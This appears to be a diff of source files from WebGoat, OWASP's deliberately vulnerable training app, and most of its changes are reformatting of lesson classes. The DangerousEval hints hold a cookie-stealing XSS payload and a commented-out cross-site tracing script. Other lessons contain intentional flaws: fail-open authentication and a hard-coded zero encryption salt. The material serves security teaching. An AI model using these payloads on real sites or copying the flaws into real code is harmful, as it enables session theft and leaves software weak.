hints.add("The usual &lt;SCRIPT&gt;alert(document.cookie);&lt;/SCRIPT&gt; will not work in this lesson. Why?"); hints.add("The usual &lt;SCRIPT&gt;alert(document.cookie);&lt;/SCRIPT&gt; will not work in this lesson. Why?");
hints.add("User-supplied data is landing in the Javascript eval() function. Your attack will not require the &lt; and &gt; characters."); hints
.add("User-supplied data is landing in the Javascript eval() function. Your attack will not require the &lt; and &gt; characters.");
hints.add("In order to pass this lesson, you must 'alert' the document.cookie."); hints.add("In order to pass this lesson, you must 'alert' the document.cookie.");
hints.add("Try 123');alert(document.cookie);('"); hints.add("Try 123');alert(document.cookie);('");
return hints; return hints;
} }
// <script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp
// <script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false); xmlHttp.send();str1=xmlHttp.responseText;document.write(str1);}</script> // = new
// ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false);
// xmlHttp.send();str1=xmlHttp.responseText;document.write(str1);}</script>
/** /**
* Gets the instructions attribute of the WeakAccessControl object * Gets the instructions attribute of the WeakAccessControl object
* *
@ -246,7 +260,6 @@ public class DangerousEval extends LessonAdapter
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the AccessControlScreen object * Gets the title attribute of the AccessControlScreen object
* *
@ -264,6 +277,7 @@ public class DangerousEval extends LessonAdapter
/** /**
* Check to see if JSP says they passed the lesson. * Check to see if JSP says they passed the lesson.
*
* @param s * @param s
*/ */
private void checkSuccess(WebSession s) private void checkSuccess(WebSession s)

234
main/project/JavaSource/org/owasp/webgoat/lessons/Encoding.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.io.IOException; import java.io.IOException;
@ -12,12 +13,10 @@ import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException; import java.security.NoSuchAlgorithmException;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import javax.crypto.Cipher; import javax.crypto.Cipher;
import javax.crypto.SecretKey; import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory; import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEParameterSpec; import javax.crypto.spec.PBEParameterSpec;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A; import org.apache.ecs.html.A;
@ -33,32 +32,30 @@ import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder; import org.owasp.webgoat.util.HtmlEncoder;
/******************************************************************************* /***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -68,7 +65,10 @@ import org.owasp.webgoat.util.HtmlEncoder;
public class Encoding extends LessonAdapter public class Encoding extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
private final static String INPUT = "input"; private final static String INPUT = "input";
@ -82,20 +82,17 @@ public class Encoding extends LessonAdapter
// encryption constant // encryption constant
private static byte[] salt = private static byte[] salt = { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
{ (byte) 0x00, (byte) 0x00 };
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
(byte) 0x00
};
/** /**
* Returns the base 64 decoding of a string. * Returns the base 64 decoding of a string.
* *
* @param str Description of the Parameter * @param str
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
* @exception IOException Description of the Exception * @exception IOException
* Description of the Exception
*/ */
public static String base64Decode(String str) throws IOException public static String base64Decode(String str) throws IOException
@ -106,14 +103,14 @@ public class Encoding extends LessonAdapter
return (new String(b)); return (new String(b));
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param c Description of the Parameter * @param c
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
* @exception IOException Description of the Exception * @exception IOException
* Description of the Exception
*/ */
public static String base64Decode(char[] c) throws IOException public static String base64Decode(char[] c) throws IOException
@ -122,12 +119,11 @@ public class Encoding extends LessonAdapter
return base64Decode(new String(c)); return base64Decode(new String(c));
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param c Description of the Parameter * @param c
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
@ -137,12 +133,11 @@ public class Encoding extends LessonAdapter
return base64Encode(new String(c)); return base64Encode(new String(c));
} }
/** /**
* Returns the base 64 encoding of a string. * Returns the base 64 encoding of a string.
* *
* @param str Description of the Parameter * @param str
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
@ -154,12 +149,11 @@ public class Encoding extends LessonAdapter
return (encoder.encode(b)); return (encoder.encode(b));
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param b Description of the Parameter * @param b
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
@ -169,12 +163,11 @@ public class Encoding extends LessonAdapter
return (encoder.encode(b)); return (encoder.encode(b));
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
@ -308,13 +301,13 @@ public class Encoding extends LessonAdapter
return (ec); return (ec);
} }
/** /**
* Convenience method for encrypting a string. * Convenience method for encrypting a string.
* *
* @param str Description of the Parameter * @param str
* @param pw Description of the Parameter * Description of the Parameter
* @param pw
* Description of the Parameter
* @return String the encrypted string. * @return String the encrypted string.
*/ */
@ -351,15 +344,16 @@ public class Encoding extends LessonAdapter
} }
/** /**
* Convenience method for encrypting a string. * Convenience method for encrypting a string.
* *
* @param str Description of the Parameter * @param str
* @param pw Description of the Parameter * Description of the Parameter
* @param pw
* Description of the Parameter
* @return String the encrypted string. * @return String the encrypted string.
* @exception SecurityException Description of the Exception * @exception SecurityException
* Description of the Exception
*/ */
public static synchronized String encryptString(String str, String pw) throws SecurityException public static synchronized String encryptString(String str, String pw) throws SecurityException
@ -395,8 +389,6 @@ public class Encoding extends LessonAdapter
} }
/** /**
* Gets the category attribute of the Encoding object * Gets the category attribute of the Encoding object
* *
@ -408,7 +400,6 @@ public class Encoding extends LessonAdapter
return Category.INSECURE_STORAGE; return Category.INSECURE_STORAGE;
} }
/** /**
* Gets the hints attribute of the HelloScreen object * Gets the hints attribute of the HelloScreen object
* *
@ -425,8 +416,6 @@ public class Encoding extends LessonAdapter
return hints; return hints;
} }
/** /**
* Gets the instructions attribute of the Encoding object * Gets the instructions attribute of the Encoding object
* *
@ -438,10 +427,6 @@ public class Encoding extends LessonAdapter
return "This lesson will familiarize the user with different encoding schemes. "; return "This lesson will familiarize the user with different encoding schemes. ";
} }
private final static Integer DEFAULT_RANKING = new Integer(15); private final static Integer DEFAULT_RANKING = new Integer(15);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
@ -460,12 +445,11 @@ public class Encoding extends LessonAdapter
return ("Encoding Basics"); return ("Encoding Basics");
} }
/** /**
* Returns the MD5 hash of a String. * Returns the MD5 hash of a String.
* *
* @param str Description of the Parameter * @param str
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
@ -479,8 +463,7 @@ public class Encoding extends LessonAdapter
{ {
md = MessageDigest.getInstance("MD5"); md = MessageDigest.getInstance("MD5");
md.update(b); md.update(b);
} } catch (NoSuchAlgorithmException e)
catch ( NoSuchAlgorithmException e )
{ {
// it's got to be there // it's got to be there
e.printStackTrace(); e.printStackTrace();
@ -488,12 +471,11 @@ public class Encoding extends LessonAdapter
return (base64Encode(md.digest())); return (base64Encode(md.digest()));
} }
/** /**
* Returns the SHA hash of a String. * Returns the SHA hash of a String.
* *
* @param str Description of the Parameter * @param str
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
@ -505,8 +487,7 @@ public class Encoding extends LessonAdapter
{ {
md = MessageDigest.getInstance("SHA-256"); md = MessageDigest.getInstance("SHA-256");
md.update(b); md.update(b);
} } catch (NoSuchAlgorithmException e)
catch ( NoSuchAlgorithmException e )
{ {
// it's got to be there // it's got to be there
e.printStackTrace(); e.printStackTrace();
@ -514,12 +495,11 @@ public class Encoding extends LessonAdapter
return (base64Encode(md.digest())); return (base64Encode(md.digest()));
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param hexString Description of the Parameter * @param hexString
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
@ -527,10 +507,7 @@ public class Encoding extends LessonAdapter
{ {
try try
{ {
if ( ( hexString.length() % 3 ) != 0 ) if ((hexString.length() % 3) != 0) { return ("String not comprised of Hex digit pairs."); }
{
return ( "String not comprised of Hex digit pairs." );
}
char[] chars = new char[hexString.length()]; char[] chars = new char[hexString.length()];
char[] convChars = new char[hexString.length() / 3]; char[] convChars = new char[hexString.length() / 3];
hexString.getChars(0, hexString.length(), chars, 0); hexString.getChars(0, hexString.length(), chars, 0);
@ -540,19 +517,17 @@ public class Encoding extends LessonAdapter
convChars[i / 3] = (char) Integer.parseInt(hexToken, 16); convChars[i / 3] = (char) Integer.parseInt(hexToken, 16);
} }
return new String(convChars); return new String(convChars);
} } catch (NumberFormatException nfe)
catch ( NumberFormatException nfe )
{ {
return ("String not comprised of Hex digits"); return ("String not comprised of Hex digits");
} }
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param asciiString Description of the Parameter * @param asciiString
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
@ -569,12 +544,11 @@ public class Encoding extends LessonAdapter
return hexBuff.toString().toUpperCase(); return hexBuff.toString().toUpperCase();
} }
/** /**
* The main program for the Encoding class * The main program for the Encoding class
* *
* @param args The command line arguments * @param args
* The command line arguments
*/ */
public static void main(String[] args) public static void main(String[] args)
@ -608,21 +582,21 @@ public class Encoding extends LessonAdapter
System.out.println("Not Implemented" + " : " + "Not Implemented"); System.out.println("Not Implemented" + " : " + "Not Implemented");
System.out.print("Double URL encoding: "); System.out.print("Double URL encoding: ");
System.out.println(urlEncode(urlEncode(userInput)) + " : " + urlDecode(urlDecode(userInput))); System.out.println(urlEncode(urlEncode(userInput)) + " : " + urlDecode(urlDecode(userInput)));
} } catch (Exception e)
catch ( Exception e )
{ {
e.printStackTrace(); e.printStackTrace();
} }
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param value1 Description of the Parameter * @param value1
* @param value2 Description of the Parameter * Description of the Parameter
* @param description Description of the Parameter * @param value2
* Description of the Parameter
* @param description
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
@ -641,13 +615,15 @@ public class Encoding extends LessonAdapter
return tr; return tr;
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param value1 Description of the Parameter * @param value1
* @param value2 Description of the Parameter * Description of the Parameter
* @param description Description of the Parameter * @param value2
* Description of the Parameter
* @param description
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
@ -666,11 +642,11 @@ public class Encoding extends LessonAdapter
return (tr); return (tr);
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param input Description of the Parameter * @param input
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
@ -704,11 +680,11 @@ public class Encoding extends LessonAdapter
return output.toString(); return output.toString();
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param str Description of the Parameter * @param str
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
@ -724,19 +700,17 @@ public class Encoding extends LessonAdapter
CharsetDecoder decoder = charset.newDecoder(); CharsetDecoder decoder = charset.newDecoder();
CharBuffer cbuf = decoder.decode(bbuf); CharBuffer cbuf = decoder.decode(bbuf);
return (cbuf.toString()); return (cbuf.toString());
} } catch (Exception e)
catch ( Exception e )
{ {
return ("Encoding problem"); return ("Encoding problem");
} }
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param str Description of the Parameter * @param str
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
@ -749,19 +723,17 @@ public class Encoding extends LessonAdapter
CharsetEncoder encoder = charset.newEncoder(); CharsetEncoder encoder = charset.newEncoder();
ByteBuffer bbuf = encoder.encode(CharBuffer.wrap(str)); ByteBuffer bbuf = encoder.encode(CharBuffer.wrap(str));
return (new String(bbuf.array())); return (new String(bbuf.array()));
} } catch (Exception e)
catch ( Exception e )
{ {
return ("Encoding problem"); return ("Encoding problem");
} }
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param str Description of the Parameter * @param str
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
@ -770,19 +742,17 @@ public class Encoding extends LessonAdapter
try try
{ {
return (URLDecoder.decode(str, "UTF-8")); return (URLDecoder.decode(str, "UTF-8"));
} } catch (Exception e)
catch ( Exception e )
{ {
return ("Decoding error"); return ("Decoding error");
} }
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param str Description of the Parameter * @param str
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
@ -791,20 +761,19 @@ public class Encoding extends LessonAdapter
try try
{ {
return (URLEncoder.encode(str, "UTF-8")); return (URLEncoder.encode(str, "UTF-8"));
} } catch (Exception e)
catch ( Exception e )
{ {
return ("Encoding error"); return ("Encoding error");
} }
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param input Description of the Parameter * @param input
* @param userKey Description of the Parameter * Description of the Parameter
* @param userKey
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
@ -830,13 +799,13 @@ public class Encoding extends LessonAdapter
return outputChars; return outputChars;
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param input Description of the Parameter * @param input
* @param userKey Description of the Parameter * Description of the Parameter
* @param userKey
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
@ -846,20 +815,19 @@ public class Encoding extends LessonAdapter
{ {
String decoded = base64Decode(input); String decoded = base64Decode(input);
return new String(xor(decoded, userKey)); return new String(xor(decoded, userKey));
} } catch (Exception e)
catch ( Exception e )
{ {
return "String not XOR encoded."; return "String not XOR encoded.";
} }
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param input Description of the Parameter * @param input
* @param userKey Description of the Parameter * Description of the Parameter
* @param userKey
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */

71
main/project/JavaSource/org/owasp/webgoat/lessons/FailOpenAuthentication.java
View File

@ -1,39 +1,38 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.html.A; import org.apache.ecs.html.A;
import org.apache.ecs.html.IMG; import org.apache.ecs.html.IMG;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -42,12 +41,16 @@ import org.owasp.webgoat.session.WebSession;
*/ */
public class FailOpenAuthentication extends WeakAuthenticationCookie public class FailOpenAuthentication extends WeakAuthenticationCookie
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
@ -79,18 +82,15 @@ public class FailOpenAuthentication extends WeakAuthenticationCookie
return (makeLogin(s)); return (makeLogin(s));
} }
} } catch (Exception e)
catch (Exception e)
{ {
// The parameter was omitted. set fail open status complete // The parameter was omitted. set fail open status complete
if (username.length() > 0 if (username.length() > 0 && e.getMessage().indexOf("not found") != -1)
&& e.getMessage().indexOf("not found") != -1)
{ {
if ((username != null) && (username.length() > 0)) if ((username != null) && (username.length() > 0))
{ {
makeSuccess(s); makeSuccess(s);
return (makeUser(s, username, return (makeUser(s, username, "Fail Open Error Handling"));
"Fail Open Error Handling"));
} }
} }
} }
@ -100,7 +100,8 @@ public class FailOpenAuthentication extends WeakAuthenticationCookie
{ {
// We make sure the username was submitted to avoid telling the user an invalid // We make sure the username was submitted to avoid telling the user an invalid
// username/password was entered when they first enter the lesson via the side menu. // username/password was entered when they first enter the lesson via the side menu.
// This also suppresses the error if they just hit the login and both fields are empty. // This also suppresses the error if they just hit the login and both fields are
// empty.
if (username.length() != 0) if (username.length() != 0)
{ {
s.setMessage("Invalid username and password entered."); s.setMessage("Invalid username and password entered.");
@ -111,13 +112,9 @@ public class FailOpenAuthentication extends WeakAuthenticationCookie
} }
// otherwise authentication is good, show the content // otherwise authentication is good, show the content
if ((username != null) && (username.length() > 0)) if ((username != null) && (username.length() > 0)) { return (makeUser(s, username,
{ "Parameters. You did not exploit the fail open.")); }
return (makeUser(s, username, } catch (Exception e)
"Parameters. You did not exploit the fail open."));
}
}
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
} }
@ -125,7 +122,6 @@ public class FailOpenAuthentication extends WeakAuthenticationCookie
return (makeLogin(s)); return (makeLogin(s));
} }
/** /**
* Gets the category attribute of the FailOpenAuthentication object * Gets the category attribute of the FailOpenAuthentication object
* *
@ -136,7 +132,6 @@ public class FailOpenAuthentication extends WeakAuthenticationCookie
return Category.ERROR_HANDLING; return Category.ERROR_HANDLING;
} }
/** /**
* Gets the hints attribute of the AuthenticateScreen object * Gets the hints attribute of the AuthenticateScreen object
* *
@ -146,15 +141,13 @@ public class FailOpenAuthentication extends WeakAuthenticationCookie
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("You can force errors during the authentication process."); hints.add("You can force errors during the authentication process.");
hints hints.add("You can change length, existance, or values of authentication parameters.");
.add("You can change length, existance, or values of authentication parameters.");
hints hints
.add("Try removing a parameter ENTIRELY with <A href=\"http://www.owasp.org/development/webscarab\">WebScarab</A>."); .add("Try removing a parameter ENTIRELY with <A href=\"http://www.owasp.org/development/webscarab\">WebScarab</A>.");
return hints; return hints;
} }
/** /**
* Gets the instructions attribute of the FailOpenAuthentication object * Gets the instructions attribute of the FailOpenAuthentication object
* *
@ -169,13 +162,11 @@ public class FailOpenAuthentication extends WeakAuthenticationCookie
private final static Integer DEFAULT_RANKING = new Integer(20); private final static Integer DEFAULT_RANKING = new Integer(20);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the AuthenticateScreen object * Gets the title attribute of the AuthenticateScreen object
* *

47
main/project/JavaSource/org/owasp/webgoat/lessons/ForcedBrowsing.java
View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -16,32 +16,31 @@ import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -53,12 +52,14 @@ public class ForcedBrowsing extends LessonAdapter
private final static String SUCCEEDED = "succeeded"; private final static String SUCCEEDED = "succeeded";
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0); private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
.setBorder(0).setHspace(0).setVspace(0);
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
@ -94,12 +95,12 @@ public class ForcedBrowsing extends LessonAdapter
} }
else else
{ {
ec.addElement("Can you try to force browse to the config page which should only be accessed by maintenance personnel."); ec
.addElement("Can you try to force browse to the config page which should only be accessed by maintenance personnel.");
} }
return ec; return ec;
} }
/** /**
* Gets the category attribute of the ForgotPassword object * Gets the category attribute of the ForgotPassword object
* *
@ -110,7 +111,6 @@ public class ForcedBrowsing extends LessonAdapter
return Category.INSECURE_CONFIGURATION; return Category.INSECURE_CONFIGURATION;
} }
/** /**
* Gets the hints attribute of the HelloScreen object * Gets the hints attribute of the HelloScreen object
* *
@ -128,13 +128,11 @@ public class ForcedBrowsing extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(15); private final static Integer DEFAULT_RANKING = new Integer(15);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the HelloScreen object * Gets the title attribute of the HelloScreen object
* *
@ -145,7 +143,6 @@ public class ForcedBrowsing extends LessonAdapter
return ("Forced Browsing"); return ("Forced Browsing");
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO); return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);

65
main/project/JavaSource/org/owasp/webgoat/lessons/ForgotPassword.java
View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import java.util.HashMap; import java.util.HashMap;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -17,36 +17,34 @@ import org.apache.ecs.html.TD;
import org.apache.ecs.html.TH; import org.apache.ecs.html.TH;
import org.apache.ecs.html.TR; import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table; import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -56,7 +54,10 @@ import org.owasp.webgoat.session.WebSession;
public class ForgotPassword extends LessonAdapter public class ForgotPassword extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
private final static String USERNAME = "Username"; private final static String USERNAME = "Username";
@ -72,7 +73,6 @@ public class ForgotPassword extends LessonAdapter
private final static HashMap<String, String> COLORS = new HashMap<String, String>(); private final static HashMap<String, String> COLORS = new HashMap<String, String>();
private void populateTables() private void populateTables()
{ {
